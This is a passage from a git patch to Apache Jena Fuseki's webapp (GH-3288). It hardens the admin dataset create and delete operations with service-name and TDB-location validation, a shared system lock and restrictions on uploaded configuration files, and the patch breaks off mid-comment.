[ { "commit_message": "[PATCH] GH-3288: Update jena-fuseki-webapp .../jena/fuseki/mgt/ActionDatasets.java | 510 ++++++++----- .../jena/fuseki/webapp/FusekiWebapp.java | 50 +- .../apache/jena/fuseki/TS_FusekiWebapp.java | 2 + .../apache/jena/fuseki/TestWebappAdmin.java | 381 +--------- .../TestWebappAdminAddDeleteDatasetFile.java | 679 ++++++++++++++++++ ...stWebappAdminAddDeleteDatasetTemplate.java | 268 +++++++ .../testing/config-tdb2c.ttl | 19 + 7 files changed, 1356 insertions(+), 553 deletions(-) create mode 100644 jena-fuseki2/jena-fuseki-webapp/src/test/java/org/apache/jena/fuseki/TestWebappAdminAddDeleteDatasetFile.java create mode 100644 jena-fuseki2/jena-fuseki-webapp/src/test/java/org/apache/jena/fuseki/TestWebappAdminAddDeleteDatasetTemplate.java create mode 100644 jena-fuseki2/jena-fuseki-webapp/testing/config-tdb2c.ttl", "patch_text_b64": "From 03c5265910aa3a27907bf54f6b4aaae3409afa4f Mon Sep 17 00:00:00 2001
From: Andy Seaborne <andy@apache.org>
Date: Fri, 13 Jun 2025 09:17:14 +0100
Subject: [PATCH] GH-3288: Update jena-fuseki-webapp

---
 .../jena/fuseki/mgt/ActionDatasets.java       | 510 ++++++++-----
 .../jena/fuseki/webapp/FusekiWebapp.java      |  50 +-
 .../apache/jena/fuseki/TS_FusekiWebapp.java   |   2 +
 .../apache/jena/fuseki/TestWebappAdmin.java   | 381 +---------
 .../TestWebappAdminAddDeleteDatasetFile.java  | 679 ++++++++++++++++++
 ...stWebappAdminAddDeleteDatasetTemplate.java | 268 +++++++
 .../testing/config-tdb2c.ttl                  |  19 +
 7 files changed, 1356 insertions(+), 553 deletions(-)
 create mode 100644 jena-fuseki2/jena-fuseki-webapp/src/test/java/org/apache/jena/fuseki/TestWebappAdminAddDeleteDatasetFile.java
 create mode 100644 jena-fuseki2/jena-fuseki-webapp/src/test/java/org/apache/jena/fuseki/TestWebappAdminAddDeleteDatasetTemplate.java
 create mode 100644 jena-fuseki2/jena-fuseki-webapp/testing/config-tdb2c.ttl

diff --git a/jena-fuseki2/jena-fuseki-webapp/src/main/java/org/apache/jena/fuseki/mgt/ActionDatasets.java b/jena-fuseki2/jena-fuseki-webapp/src/main/java/org/apache/jena/fuseki/mgt/ActionDatasets.java
index 09f4796e064..38164418a9c 100644
--- a/jena-fuseki2/jena-fuseki-webapp/src/main/java/org/apache/jena/fuseki/mgt/ActionDatasets.java
+++ b/jena-fuseki2/jena-fuseki-webapp/src/main/java/org/apache/jena/fuseki/mgt/ActionDatasets.java
@@ -19,17 +19,11 @@
 package org.apache.jena.fuseki.mgt;
 
 import static java.lang.String.format;
-import static org.apache.jena.atlas.lib.Lib.lowercase;
 
-import java.io.IOException;
-import java.io.OutputStream;
 import java.io.StringReader;
 import java.nio.file.Files;
 import java.nio.file.Path;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-import java.util.UUID;
+import java.util.*;
 
 import jakarta.servlet.http.HttpServletRequest;
 import org.apache.commons.lang3.StringUtils;
@@ -39,51 +33,58 @@
 import org.apache.jena.atlas.json.JsonValue;
 import org.apache.jena.atlas.lib.FileOps;
 import org.apache.jena.atlas.lib.InternalErrorException;
+import org.apache.jena.atlas.lib.NotImplemented;
 import org.apache.jena.atlas.logging.FmtLog;
 import org.apache.jena.atlas.web.ContentType;
 import org.apache.jena.datatypes.xsd.XSDDatatype;
+import org.apache.jena.dboe.base.file.Location;
+import org.apache.jena.fuseki.FusekiConfigException;
 import org.apache.jena.fuseki.build.DatasetDescriptionMap;
 import org.apache.jena.fuseki.build.FusekiConfig;
 import org.apache.jena.fuseki.ctl.ActionContainerItem;
 import org.apache.jena.fuseki.ctl.JsonDescription;
-import org.apache.jena.fuseki.server.DataAccessPoint;
-import org.apache.jena.fuseki.server.DataService;
-import org.apache.jena.fuseki.server.FusekiVocab;
-import org.apache.jena.fuseki.server.ServerConst;
+import org.apache.jena.fuseki.metrics.MetricsProvider;
+import org.apache.jena.fuseki.server.*;
 import org.apache.jena.fuseki.servlets.ActionLib;
 import org.apache.jena.fuseki.servlets.HttpAction;
 import org.apache.jena.fuseki.servlets.ServletOps;
-import org.apache.jena.fuseki.system.DataUploader;
 import org.apache.jena.fuseki.system.FusekiNetLib;
 import org.apache.jena.fuseki.webapp.FusekiWebapp;
+import org.apache.jena.graph.Graph;
+import org.apache.jena.graph.Node;
+import org.apache.jena.query.Query;
+import org.apache.jena.query.QueryFactory;
 import org.apache.jena.rdf.model.*;
+import org.apache.jena.rdf.model.impl.Util;
 import org.apache.jena.riot.*;
 import org.apache.jena.riot.system.StreamRDF;
 import org.apache.jena.riot.system.StreamRDFLib;
+import org.apache.jena.shared.JenaException;
+import org.apache.jena.sparql.core.DatasetGraph;
+import org.apache.jena.sparql.core.Quad;
 import org.apache.jena.sparql.core.assembler.AssemblerUtils;
+import org.apache.jena.sparql.exec.QueryExec;
+import org.apache.jena.sparql.exec.RowSet;
 import org.apache.jena.sparql.util.FmtUtils;
+import org.apache.jena.system.G;
+import org.apache.jena.tdb1.TDB1;
+import org.apache.jena.tdb2.TDB2;
 import org.apache.jena.vocabulary.RDF;
 import org.apache.jena.web.HttpSC;
 
 public class ActionDatasets extends ActionContainerItem {
-
     static private Property pServiceName = FusekiVocab.pServiceName;
-    //static private Property pStatus = FusekiVocab.pStatus;
 
     private static final String paramDatasetName    = "dbName";
     private static final String paramDatasetType    = "dbType";
-    private static final String tDatabaseTDB        = "tdb";
-    private static final String tDatabaseTDB1       = "tdb1";
+    private static final String tDatabaseTDB1       = "tdb";
     private static final String tDatabaseTDB2       = "tdb2";
     private static final String tDatabaseMem        = "mem";
 
-    // Sync lock.
-    private static final Object lock = new Object();
-
     public ActionDatasets() { super(); }
 
     @Override
-    public void validate(HttpAction action) {}
+    public void validate(HttpAction action) { }
 
     // ---- GET : return details of dataset or datasets.
     @Override
@@ -111,10 +112,10 @@ protected JsonValue execGetItem(HttpAction action) {
 
     // ---- POST
 
+    /** Create dataset */
     @Override
     protected JsonValue execPostContainer(HttpAction action) {
         UUID uuid = UUID.randomUUID();
-        DatasetDescriptionMap registry = new DatasetDescriptionMap();
 
         ContentType ct = ActionLib.getContentType(action);
 
@@ -123,42 +124,55 @@ protected JsonValue execPostContainer(HttpAction action) {
         if ( ct == null && ! hasParams )
             ServletOps.errorBadRequest("Bad request - Content-Type or both parameters dbName and dbType required");
 
-        boolean committed = false;
-        // Also acts as a concurrency lock
-        synchronized(lock) {
-            String systemFileCopy = null;
-            String configFile = null;
+        boolean succeeded = false;
+        // Used in clear-up.
+        String configFile = null;
+        String systemFileCopy = null;
 
-            try {
-                // Where to build the templated service/database.
-                Model modelData = ModelFactory.createDefaultModel();
-                StreamRDF dest = StreamRDFLib.graph(modelData.getGraph());
-
-                if ( hasParams || WebContent.isHtmlForm(ct) )
-                    assemblerFromForm(action, dest);
-                else if ( WebContent.isMultiPartForm(ct) )
-                    assemblerFromUpload(action, dest);
-                else
-                    assemblerFromBody(action, dest);
+        DatasetDescriptionMap registry = new DatasetDescriptionMap();
 
-                // ----
-                // Keep a persistent copy immediately.  This is not used for
-                // anything other than being "for the record".
-                systemFileCopy = FusekiWebapp.dirSystemFileArea.resolve(uuid.toString()).toString();
-                try ( OutputStream outCopy = IO.openOutputFile(systemFileCopy) ) {
-                    RDFDataMgr.write(outCopy, modelData, Lang.TURTLE);
+        synchronized (FusekiWebapp.systemLock) {
+            try {
+                // Get the request input.
+                Model modelFromRequest = ModelFactory.createDefaultModel();
+                StreamRDF dest = StreamRDFLib.graph(modelFromRequest.getGraph());
+
+                boolean templatedRequest = false;
+
+                try {
+                    if ( hasParams || WebContent.isHtmlForm(ct) ) {
+                        assemblerFromForm(action, dest);
+                        templatedRequest = true;
+                        // dbName, dbType
+                    } else if ( WebContent.isMultiPartForm(ct) ) {
+                        // Cannot be enabled.
+                        ServletOps.errorBadRequest("Service configuration from a multipart upload not supported");
+                        //assemblerFromUpload(action, dest);
+                    } else {
+                        if ( ! FusekiWebapp.allowConfigFiles() )
+                            ServletOps.errorBadRequest("Service configuration from an upload file not supported");
+                        assemblerFromBody(action, dest);
+                    }
+                } catch (RiotException ex) {
+                    ActionLib.consumeBody(action);
+                    action.log.warn(format("[%d] Failed to read configuration: %s", action.id, ex.getMessage()));
+                    ServletOps.errorBadRequest("Failed to read configuration");
                 }
 
+                // ----
+                // Add the dataset and graph wiring for assemblers
                 Model model = ModelFactory.createDefaultModel();
-                model.add(modelData);
-                // Add dataset and model declarations.
+                model.add(modelFromRequest);
                 model = AssemblerUtils.prepareForAssembler(model);
 
                 // ----
                 // Process configuration.
-
                 // Returns the "service fu:name NAME" statement
                 Statement stmt = findService(model);
+                if ( stmt == null ) {
+                    action.log.warn(format("[%d] No service name", action.id));
+                    ServletOps.errorBadRequest(format("No service name"));
+                }
 
                 Resource subject = stmt.getSubject();
                 Literal object = stmt.getObject().asLiteral();
@@ -166,39 +180,87 @@ else if ( WebContent.isMultiPartForm(ct) )
                 if ( object.getDatatype() != null && ! object.getDatatype().equals(XSDDatatype.XSDstring) )
                     action.log.warn(format("[%d] Service name '%s' is not a string", action.id, FmtUtils.stringForRDFNode(object)));
 
-                String datasetPath;
-                {   // Check the name provided.
+                final String datasetPath;
+                {
                     String datasetName = object.getLexicalForm();
                     // This duplicates the code FusekiBuilder.buildDataAccessPoint to give better error messages and HTTP status code."
 
                     // ---- Check and canonicalize name.
-                    if ( datasetName.isEmpty() )
-                        ServletOps.error(HttpSC.BAD_REQUEST_400, "Empty dataset name");
-                    if ( StringUtils.isBlank(datasetName) )
-                        ServletOps.error(HttpSC.BAD_REQUEST_400, format("Whitespace dataset name: '%s'", datasetName));
-                    if ( datasetName.contains(" ") )
-                        ServletOps.error(HttpSC.BAD_REQUEST_400, format("Bad dataset name (contains spaces) '%s'",datasetName));
-                    if ( datasetName.equals("/") )
-                        ServletOps.error(HttpSC.BAD_REQUEST_400, format("Bad dataset name '%s'",datasetName));
+                    // Various explicit check for better error messages.
+
+                    if ( datasetName.isEmpty() ) {
+                        action.log.warn(format("[%d] Empty dataset name", action.id));
+                        ServletOps.errorBadRequest("Empty dataset name");
+                    }
+                    if ( StringUtils.isBlank(datasetName) ) {
+                        action.log.warn(format("[%d] Whitespace dataset name: '%s'", action.id, datasetName));
+                        ServletOps.errorBadRequest(format("Whitespace dataset name: '%s'", datasetName));
+                    }
+                    if ( datasetName.contains(" ") ) {
+                        action.log.warn(format("[%d] Bad dataset name (contains spaces) '%s'", action.id, datasetName));
+                        ServletOps.errorBadRequest(format("Bad dataset name (contains spaces) '%s'", datasetName));
+                    }
+                    if ( datasetName.equals("/") ) {
+                        action.log.warn(format("[%d] Bad dataset name '%s'", action.id, datasetName));
+                        ServletOps.errorBadRequest(format("Bad dataset name '%s'", datasetName));
+                    }
+
+                    // The service names must be a valid URI path
+                    try {
+                        ValidString validServiceName = Validators.serviceName(datasetName);
+                    } catch (FusekiConfigException ex) {
+                        action.log.warn(format("[%d] Invalid service name: '%s'", action.id, datasetName));
+                        ServletOps.error(HttpSC.BAD_REQUEST_400, format("Invalid service name: '%s'", datasetName));
+                    }
+
+                    // Canonical - starts with "/",does not end in "/"
                     datasetPath = DataAccessPoint.canonical(datasetName);
-                    // ---- Check whether it already exists
-                    if ( action.getDataAccessPointRegistry().isRegistered(datasetPath) )
-                        // And abort.
-                        ServletOps.error(HttpSC.CONFLICT_409, "Name already registered "+datasetPath);
+
+                    // For this operation, check additionally that the path does not go outside the expected file area.
+                    // This imposes the path component-only rule and does not allow ".."
+                    if ( ! isValidServiceName(datasetPath) ) {
+                        action.log.warn(format("[%d] Database service name not acceptable: '%s'", action.id, datasetName));
+                        ServletOps.error(HttpSC.BAD_REQUEST_400, format("Database service name not acceptable: '%s'", datasetName));
+                    }
                 }
 
+                // ---- Check whether it already exists
+                if ( action.getDataAccessPointRegistry().isRegistered(datasetPath) ) {
+                    action.log.warn(format("[%d] Name already registered '%s'", action.id, datasetPath));
+                    ServletOps.error(HttpSC.CONFLICT_409, format("Name already registered '%s'", datasetPath));
+                }
+
+                // -- Validate any TDB locations.
+                // If this is a templated request, there is no need to do this
+                // because the location is "datasetPath" which has been checked.
+                if ( ! templatedRequest ) {
+                    // -- Validate any TDB locations.
+                    // If this is a templated request, there is no need to do this because the location is "datasetPath"
+                    List<String> tdbLocations = tdbLocations(action, model.getGraph());
+                    for(String tdbLocation : tdbLocations ) {
+                        if ( ! isValidTDBLocation(tdbLocation) ) {
+                            action.log.warn(format("[%d] TDB database location not acceptable: '%s'", action.id, tdbLocation));
+                            ServletOps.error(HttpSC.BAD_REQUEST_400, format("TDB database location not acceptable: '%s'", tdbLocation));
+                        }
+                    }
+                }
+
+                // ----
+                // Keep a persistent copy with a globally unique name.
+                // This is not used for anything other than being "for the record".
+                systemFileCopy = FusekiWebapp.dirSystemFileArea.resolve(uuid.toString()).toString();
+                RDFWriter.source(model).lang(Lang.TURTLE).output(systemFileCopy);
+
+                // ----
                 action.log.info(format("[%d] Create database : name = %s", action.id, datasetPath));
 
-                configFile = FusekiWebapp.generateConfigurationFilename(datasetPath);
                 List<String> existing = FusekiWebapp.existingConfigurationFile(datasetPath);
                 if ( ! existing.isEmpty() )
                     ServletOps.error(HttpSC.CONFLICT_409, "Configuration file for '"+datasetPath+"' already exists");
 
-                // Write to configuration directory.
-                try ( OutputStream outCopy = IO.openOutputFile(configFile) ) {
-                    RDFDataMgr.write(outCopy, modelData, Lang.TURTLE);
-                }
+                configFile = FusekiWebapp.generateConfigurationFilename(datasetPath);
 
+                // ---- Build the service
                 DataAccessPoint dataAccessPoint = FusekiConfig.buildDataAccessPoint(subject.getModel().getGraph(), subject.asNode(), registry);
                 if ( dataAccessPoint == null ) {
                     FmtLog.error(action.log, "Failed to build DataAccessPoint: datasetPath = %s; DataAccessPoint name = %s", datasetPath, dataAccessPoint);
@@ -206,27 +268,72 @@ else if ( WebContent.isMultiPartForm(ct) )
                     return null;
                 }
                 dataAccessPoint.getDataService().setEndpointProcessors(action.getOperationRegistry());
-                dataAccessPoint.getDataService().goActive();
+
+                // Write to configuration directory.
+                RDFWriter.source(model).lang(Lang.TURTLE).output(configFile);
+
                 if ( ! datasetPath.equals(dataAccessPoint.getName()) )
                     FmtLog.warn(action.log, "Inconsistent names: datasetPath = %s; DataAccessPoint name = %s", datasetPath, dataAccessPoint);
 
+                dataAccessPoint.getDataService().goActive();
+                succeeded = true;
+
+                // At this point, a server restarting will find the new service.
+                // This next line makes it dispatchable in this running server.
                 action.getDataAccessPointRegistry().register(dataAccessPoint);
-                action.setResponseContentType(WebContent.contentTypeTextPlain);
-                ServletOps.success(action);
 
-                committed = true;
+                // Add to metrics
+                MetricsProvider metricProvider = action.getMetricsProvider();
+                if ( metricProvider != null )
+                    action.getMetricsProvider().addDataAccessPointMetrics(dataAccessPoint);
 
-            } catch (IOException ex) { IO.exception(ex); }
-            finally {
-                if ( ! committed ) {
+                action.setResponseContentType(WebContent.contentTypeTextPlain);
+                ServletOps.success(action);
+            } finally {
+                // Clear-up on failure.
+                if ( ! succeeded ) {
                     if ( systemFileCopy != null ) FileOps.deleteSilent(systemFileCopy);
                     if ( configFile != null ) FileOps.deleteSilent(configFile);
-
                 }
-
             }
+            return null;
         }
-        return null;
+    }
+
+    /**
+     * Check whether a service name is acceptable.
+     * A service name is used as a filesystem path component,
+     * except it may have a leading "/"., to store the database and the configuration.
+     * <p>
+     * The canonical name for a service (see {@link DataAccessPoint#canonical})
+     * starts with a "/" and this will be added if necessary.
+     */
+    private boolean isValidServiceName(String datasetPath) {
+        // Leading "/" is OK , nowhere else is.
+        int idx = datasetPath.indexOf('/', 1);
+        if ( idx > 0 )
+            return false;
+        // No slash, except maybe at the start so a meaningful use of .. can only be at the start.
+        if ( datasetPath.startsWith("/.."))
+            return false;
+        // Character restrictions done by Validators.serviceName
+        return true;
+    }
+
+    // This works for TDB1 as well.
+    private boolean isValidTDBLocation(String tdbLocation) {
+        Location location = Location.create(tdbLocation);
+        if ( location.isMem() )
+            return true;
+        String locationString = location.getDirectoryPath();
+        // No ".."
+        if (locationString.startsWith("..") || locationString.contains("/..") ) {
+            // That test was too strict.
+            List<String> components = FileOps.pathComponents(locationString);
+            if ( components.contains("..") )
+                return false;
+        }
+        return true;
     }
 
     /** Find the service resource. There must be only one in the configuration. */
@@ -234,7 +341,6 @@ private Statement findService(Model model) {
         // Try to find by unique pServiceName (max backwards compatibility)
         // then try to find by rdf:type fuseki:Service.
 
-        // JENA-1794
         Statement stmt = getOne(model, null, pServiceName, null);
         // null means 0 or many, not one.
 
@@ -262,16 +368,17 @@ private Statement findService(Model model) {
             stmt = stmt3;
         }
 
+        if ( stmt == null )
+            return null;
+
         if ( ! stmt.getObject().isLiteral() )
-            ServletOps.errorBadRequest("Found "+FmtUtils.stringForRDFNode(stmt.getObject())+" : Service names are strings, then used to build the external URI");
+            ServletOps.errorBadRequest("Found "+FmtUtils.stringForRDFNode(stmt.getObject())+" : Service names are strings, which are then used to build the external URI");
 
         return stmt;
     }
 
     @Override
     protected JsonValue execPostItem(HttpAction action) {
-        // This used to be the state change function -- active/inactive.
-        // Leave the core of the operation - tests used it to ping for a database.
         String name = getItemDatasetName(action);
         if ( name == null )
             name = "''";
@@ -282,6 +389,15 @@ protected JsonValue execPostItem(HttpAction action) {
 
         if ( dap == null )
             ServletOps.errorNotFound("Not found: dataset "+name);
+
+        DataService dSrv = dap.getDataService();
+        if ( dSrv == null )
+            // If not set explicitly, take from DataAccessPoint
+            dSrv = action.getDataAccessPoint().getDataService();
+
+        String s = action.getRequestParameter("state");
+        if ( s == null || s.isEmpty() )
+            ServletOps.errorBadRequest("No state change given");
         return null;
     }
 
@@ -298,81 +414,90 @@ protected void execDeleteItem(HttpAction action) {
         if ( ! action.getDataAccessPointRegistry().isRegistered(name) )
             ServletOps.errorNotFound("No such dataset registered: "+name);
 
-        boolean committed = false;
-        synchronized(lock) {
-            // Redo check inside transaction.
-            DataAccessPoint ref = action.getDataAccessPointRegistry().get(name);
-            if ( ref == null )
-                ServletOps.errorNotFound("No such dataset registered: "+name);
-
-            // Get a reference before removing.
-            DataService dataService = ref.getDataService();
-            // ---- Make it invisible in this running server.
-            action.getDataAccessPointRegistry().remove(name);
-
-            // Find the configuration.
-            String filename = name.startsWith("/") ? name.substring(1) : name;
-            List<String> configurationFiles = FusekiWebapp.existingConfigurationFile(filename);
-
-            if ( configurationFiles.isEmpty() ) {
-                // ---- Unmanaged
-                action.log.warn(format("[%d] Can't delete database configuration - not a managed database; dataset=%s", action.id, name));
+        boolean succeeded = false;
+
+        synchronized(FusekiWebapp.systemLock) {
+            try {
+                // Redo check inside transaction.
+                DataAccessPoint ref = action.getDataAccessPointRegistry().get(name);
+                if ( ref == null )
+                    ServletOps.errorNotFound("No such dataset registered: "+name);
+
+                // Get a reference before removing.
+                DataService dataService = ref.getDataService();
+
+                // Remove from the registry - operation dispatch will not find it any more.
+                action.getDataAccessPointRegistry().remove(name);
+
+                // Find the configuration.
+                List<String> configurationFiles = FusekiWebapp.existingConfigurationFile(name);
+
+                if ( configurationFiles.isEmpty() ) {
+                    // -- Unmanaged
+                    action.log.warn(format("[%d] Can't delete database configuration - not a managed database", action.id, name));
 //                ServletOps.errorOccurred(format("Can't delete database - not a managed configuration", name));
-                committed = true;
-                ServletOps.success(action);
-                return;
-            }
+                    succeeded = true;
+                    ServletOps.success(action);
+                    return;
+                }
 
-            if  ( configurationFiles.size() > 1 ) {
-                // -- This should not happen.
-                action.log.warn(format("[%d] There are %d configuration files, not one.", action.id, configurationFiles.size()));
-                ServletOps.errorOccurred(format("There are %d configuration files, not one. Delete not performed; manual clean up of the filesystem needed.",
-                                                configurationFiles.size()));
-                return;
-            }
+                if  ( configurationFiles.size() > 1 ) {
+                    // -- This should not happen.
+                    action.log.warn(format("[%d] There are %d configuration files, not one.", action.id, configurationFiles.size()));
+                    ServletOps.errorOccurred(format("There are %d configuration files, not one. Delete not performed; manual clean up of the filesystem needed.",
+                                                    configurationFiles.size()));
+                    return;
+                }
 
-            // ---- Remove managed database.
-            String cfgPathname = configurationFiles.get(0);
+                // -- Remove managed database.
+                String cfgPathname = configurationFiles.get(0);
 
-            // Delete configuration file.
-            // Once deleted, server restart will not have the database.
-            FileOps.deleteSilent(cfgPathname);
+                // Delete configuration file.
+                // Once deleted, server restart will not have the database.
+                FileOps.deleteSilent(cfgPathname);
 
-            // Delete the database for real only when it is in the server "run/databases"
-            // area. Don't delete databases that reside elsewhere. We do delete the
-            // configuration file, so the databases will not be associated with the server
-            // anymore.
+                // Delete the database for real only if it is in the server
+                // "run/databases" area. Don't delete databases that reside
+                // elsewhere. We have already deleted the configuration file, so the
+                // databases will not be associated with the server anymore.
 
-            @SuppressWarnings("removal")
-            boolean isTDB1 = org.apache.jena.tdb1.sys.TDBInternal.isTDB1(dataService.getDataset());
-            boolean isTDB2 = org.apache.jena.tdb2.sys.TDBInternal.isTDB2(dataService.getDataset());
+                @SuppressWarnings("removal")
+                boolean isTDB1 = org.apache.jena.tdb1.sys.TDBInternal.isTDB1(dataService.getDataset());
+                boolean isTDB2 = org.apache.jena.tdb2.sys.TDBInternal.isTDB2(dataService.getDataset());
 
-            // This occasionally fails in tests due to outstanding transactions.
-            // Unclear what's holding the transaction (maybe another test clearing up slowly).
-            try {
-                dataService.shutdown();
-            } catch (/*DBOE*/ Exception ex) { }
-            // JENA-1481: Really delete files.
-            if ( ( isTDB1 || isTDB2 ) ) {
-                // Delete databases created by the UI, or the admin operation, which are
-                // in predictable, unshared location on disk.
-                // There may not be any database files, the in-memory case.
-                Path pDatabase = FusekiWebapp.dirDatabases.resolve(filename);
-                if ( Files.exists(pDatabase)) {
-                    try {
-                        if ( Files.isSymbolicLink(pDatabase)) {
-                            action.log.info(format("[%d] Database is a symbolic link, not removing files %s", action.id, pDatabase));
-                        } else {
-                            IO.deleteAll(pDatabase);
-                            action.log.info(format("[%d] Deleted database files %s", action.id, pDatabase));
+                try {
+                    dataService.shutdown();
+                } catch (JenaException ex) {
+                    return;
+                }
+                // JENA-1481: Really delete files.
+                if ( ( isTDB1 || isTDB2 ) ) {
+                    // Delete databases created by the UI, or the admin operation, which are
+                    // in predictable, unshared locations on disk.
+                    // There may not be any database files, the in-memory case.
+                    // (TDB supports an in-memory mode.)
+                    String filename = name.startsWith("/") ? name.substring(1) : name;
+                    Path pDatabase = FusekiWebapp.dirDatabases.resolve(filename);
+                    if ( Files.exists(pDatabase)) {
+                        try {
+                            if ( Files.isSymbolicLink(pDatabase)) {
+                                action.log.info(format("[%d] Database is a symbolic link, not removing files", action.id, pDatabase));
+                            } else {
+                                IO.deleteAll(pDatabase);
+                                action.log.info(format("[%d] Deleted database files %s", action.id, pDatabase));
+                            }
+                        } catch (RuntimeIOException ex) {
+                            action.log.error(format("[%d] Error while deleting database files %s: %s", action.id, pDatabase, ex.getMessage()), ex);
+                            // But we have managed to remove it from the running server, and removed its configuration, so declare victory.
                         }
-                    } catch (RuntimeIOException ex) {
-                        action.log.error(format("[%d] Error while deleting database files %s: %s", action.id, pDatabase, ex.getMessage()), ex);
-                        // But we have managed to remove it from the running server, and removed its configuration, so declare victory.
                     }
                 }
+
+                succeeded = true;
+                ServletOps.success(action);
+            } finally {
+                // No clearup needed
             }
-            ServletOps.success(action);
         }
     }
 
@@ -380,42 +505,56 @@ private static void assemblerFromBody(HttpAction action, StreamRDF dest) {
         bodyAsGraph(action, dest);
     }
 
-    private static Map<String, String> dbTypeToTemplate = Map.of(
-            // Default TDB
-            tDatabaseTDB,  Template.templateTDB2_FN,
-            // Specific TDB
-            tDatabaseTDB1,  Template.templateTDB1_FN,
-            tDatabaseTDB2, Template.templateTDB2_FN,
-            // Transactional, in-memory
-            tDatabaseMem,  Template.templateTIM_MemFN);
+    private static Map<String, String> dbTypeToTemplate = new HashMap<>();
+    static {
+        dbTypeToTemplate.put(tDatabaseTDB1,  Template.templateTDB1_FN);
+        dbTypeToTemplate.put(tDatabaseTDB2, Template.templateTDB2_FN);
+        dbTypeToTemplate.put(tDatabaseMem,  Template.templateTIM_MemFN);
+    }
 
     private static void assemblerFromForm(HttpAction action, StreamRDF dest) {
-        String x = action.getRequestQueryString();
         String dbType = action.getRequestParameter(paramDatasetType);
         String dbName = action.getRequestParameter(paramDatasetName);
-        if ( StringUtils.isBlank(dbType) || StringUtils.isBlank(dbName) )
-            ServletOps.errorBadRequest("Received HTML form.  Both parameters 'dbName' and 'dbType' required");
+        // Test for null, empty or only whitespace.
+        if ( StringUtils.isBlank(dbType) || StringUtils.isBlank(dbName) ) {
+            action.log.warn(format("[%d] Both parameters 'dbName' and 'dbType' required and not be blank", action.id));
+            ServletOps.errorBadRequest("Received HTML form. Both parameters 'dbName' and 'dbType' required");
+        }
 
         Map<String, String> params = new HashMap<>();
-
         if ( dbName.startsWith("/") )
             params.put(Template.NAME, dbName.substring(1));
         else
             params.put(Template.NAME, dbName);
+        params.put(Template.NAME, dbName);
         FusekiWebapp.addGlobals(params);
 
-        //action.log.info(format("[%d] Create database : name = %s, type = %s", action.id, dbName, dbType ));
-
-        String template = dbTypeToTemplate.get(lowercase(dbType));
-        if ( template == null )
-            ServletOps.errorBadRequest(format("dbType can be only '%s' ('%s','%s') or '%s'", tDatabaseTDB, tDatabaseTDB1, tDatabaseTDB2, tDatabaseMem));
+        String template = dbTypeToTemplate.get(dbType.toLowerCase(Locale.ROOT));
+        if ( template == null ) {
+            List<String> keys = new ArrayList<>(dbTypeToTemplate.keySet());
+            Collections.sort(keys);
+            ServletOps.errorBadRequest(format("dbType can be only one of %s", keys));
+        }
 
-        String syntax = TemplateFunctions.templateFile(template, params, Lang.TTL);
-        RDFParser.create().source(new StringReader(syntax)).base("http://base/").lang(Lang.TTL).parse(dest);
+        String instance = TemplateFunctions.templateFile(template, params, Lang.TTL);
+        RDFParser.create().source(new StringReader(instance)).base("http://base/").lang(Lang.TTL).parse(dest);
     }
 
     private static void assemblerFromUpload(HttpAction action, StreamRDF dest) {
-        DataUploader.incomingData(action, dest);
+        throw new NotImplemented();
+        //DataUploader.incomingData(action, dest);
+    }
+
+    // ---- Auxiliary functions
+
+    private static Quad getOne(DatasetGraph dsg, Node g, Node s, Node p, Node o) {
+        Iterator<Quad> iter = dsg.findNG(g, s, p, o);
+        if ( ! iter.hasNext() )
+            return null;
+        Quad q = iter.next();
+        if ( iter.hasNext() )
+            return null;
+        return q;
     }
 
     private static Statement getOne(Model m, Resource s, Property p, RDFNode o) {
@@ -438,6 +577,49 @@ private static void bodyAsGraph(HttpAction action, StreamRDF dest) {
             return;
         }
         dest.prefix("root", base+"#");
-        ActionLib.parseOrError(action, dest, lang, base);
+        ActionLib.parse(action, dest, lang, base);
+    }
+
+    // ---- POST
+
+    private static final String NL = "\n";
+
+    @SuppressWarnings("removal")
+    private static final String queryStringLocations =
+            "PREFIX tdb1:   <"+TDB1.namespace+">"+NL+
+            "PREFIX tdb2:   <"+TDB2.namespace+">"+NL+
+            """
+            SELECT * {
+               ?x ( tdb2:location | tdb1:location) ?location
+            }
+            """ ;
+
+    private static final Query queryLocations = QueryFactory.create(queryStringLocations);
+
+    private static List<String> tdbLocations(HttpAction action, Graph configGraph) {
+        try ( QueryExec exec =  QueryExec.graph(configGraph).query(queryLocations).build() ) {
+            RowSet results = exec.select();
+            List<String> locations = new ArrayList<>();
+            results.forEach(b->{
+                Node loc = b.get("location");
+                String location;
+                if ( loc.isURI() )
+                    location = loc.getURI();
+                else if ( Util.isSimpleString(loc) )
+                    location = G.asString(loc);
+                else {
+                    //action.log.warn(format("[%d] Database location is not a string nor a URI", action.id));
+                    // No return
+                    ServletOps.errorBadRequest("TDB database location is not a string");
+                    location = null;
+                }
+                locations.add(location);
+            });
+            return locations;
+        } catch (Exception ex) {
+            // No return
+            ServletOps.errorBadRequest("TDB database location can not be deterined");
+            return null;
+        }
     }
 }
diff --git a/jena-fuseki2/jena-fuseki-webapp/src/main/java/org/apache/jena/fuseki/webapp/FusekiWebapp.java b/jena-fuseki2/jena-fuseki-webapp/src/main/java/org/apache/jena/fuseki/webapp/FusekiWebapp.java
index 63184fa6f9d..b68c555a55f 100644
--- a/jena-fuseki2/jena-fuseki-webapp/src/main/java/org/apache/jena/fuseki/webapp/FusekiWebapp.java
+++ b/jena-fuseki2/jena-fuseki-webapp/src/main/java/org/apache/jena/fuseki/webapp/FusekiWebapp.java
@@ -18,8 +18,6 @@
 
 package org.apache.jena.fuseki.webapp;
 
-import static java.lang.String.format;
-
 import java.io.File;
 import java.io.IOException;
 import java.io.InputStream;
@@ -39,12 +37,12 @@
 import org.apache.jena.fuseki.FusekiConfigException;
 import org.apache.jena.fuseki.build.FusekiConfig;
 import org.apache.jena.fuseki.cmd.FusekiArgs;
+import org.apache.jena.fuseki.mgt.ActionDatasets;
 import org.apache.jena.fuseki.mgt.Template;
 import org.apache.jena.fuseki.mgt.TemplateFunctions;
 import org.apache.jena.fuseki.server.DataAccessPoint;
 import org.apache.jena.fuseki.server.DataAccessPointRegistry;
 import org.apache.jena.fuseki.server.DataService;
-import org.apache.jena.fuseki.servlets.HttpAction;
 import org.apache.jena.fuseki.servlets.ServletOps;
 import org.apache.jena.fuseki.system.FusekiCore;
 import org.apache.jena.graph.Graph;
@@ -115,6 +113,27 @@ public class FusekiWebapp
     // Marks the end of successful initialization.
     /*package*/static boolean serverInitialized  = false;
 
+    // Run-time lock for operations that change the server configuration (e..g adding and deleting data services)
+    public static final Object systemLock        = new Object();
+
+    /**
+     * Control whether to allow creating new dataservices by uploading a config file.
+     * See {@link ActionDatasets}.
+     *
+     */
